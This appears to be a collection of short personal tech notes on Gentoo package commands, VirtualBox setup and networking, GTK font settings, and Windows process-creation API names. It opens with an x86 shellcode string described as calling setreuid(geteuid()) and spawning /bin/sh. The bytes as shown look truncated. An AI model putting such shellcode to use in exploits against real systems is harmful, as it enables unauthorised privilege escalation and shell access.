Restore privledge and /bin/sh shellcode

My favourite shellcode, basically it will call setreuid(geteuid()) and call /bin/sh.

"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x16\x5b\x31\xc0"

Problem with VirtualBox Winxp Ethernet Adapter

After install windows xp at guest machine on virtual box, i change NIC to Bridge, but i got the error:
Failed to start the virtual machine name.
Failed to open/create the internal network 'HostInterfaceNetworking-eth0' (VERR_SUPDRV_COMPONENT_NOT_FOUND).
Failed to attach the network LUN (VERR_SUPDRV_COMPONENT_NOT_FOUND).
One of the kernel modules was not successfully loaded. Make sure that no kernel modules from an older version of VirtualBox exist. Then try to recompile and reload the kernel modules by executing '/etc/init.d/vboxdrv setup' as root (VERR_SUPDRV_COMPONENT_NOT_FOUND).

Google at first, i see a solution:
#modprobe vboxnetflt

API call Create New Process

Some API function to call new process:

# 'WinExec()' (kernel32.dll)

# 'CreateProcess()' (kernel32.dll)
# 'CreateProcessAsUser()' (AdvAPI32.dll)
# 'CreateProcessWithLogonW()' (AdvAPI32.dll)

Install eclipse

First of all, i search through package to find any useful :)
#emerge --search eclipse
So i found eclipse-sdk
Next i emerge it:
#emerge eclipse-sdk
It said package j2sdk is restricted download, so i have to download manual and put it to
/usr/portage/distfile
After that we can :
#emerge eclipse-sdk

gtk-xft-dpi = 96
gtk-xft-hinting = 1
gtk-xft-hintstyle = hintslight
gtk-xft-rgba = rgb

Today, with help from rd, i successful install xvnkb on gentoo :D Like a charm

Install VirtualBox

I followed install virtualBox on Wiki gentoo page:

At first i :
#emerge virtualbox-bin
and all finish i started it:
#VirtualBox
but nothing happen, i tried to install Virtualbox-ose, i see it has some conflick between ose and bin edition.
So i find anotherway :
#qlist virtualbox-bin

It show me i have no VirtualBox binary file.
The next i try to read USE flag of this package,and i see it need qt4 USE flag. So i set it on make.conf

#emerge -pv Virtualbox-bin

And now i started it by:
#/opt/bin/VirtualBox

Everything done with some problem :)

Gen2 everyday command log

home ~ # USE="gtk X emerald awn backgrounds cursors fonts icons pidgin theme sounds" emerge -v mac4lin
Lxde+Mac+Windows7 in one theme :D


After install any packages, you can use :
#revdep-rebuild
to rebuild all package broken
To recompile packages with new USE flag you can use:
#emerge --newuse
or
#emerge --newuse world
To recompile all package with new USE flag.

# cat /var/db/pkg/sys-apps/dbus-*/USE
After face with problem on dbus, i got this command, so far i will find how to use it, and post here when i know :)
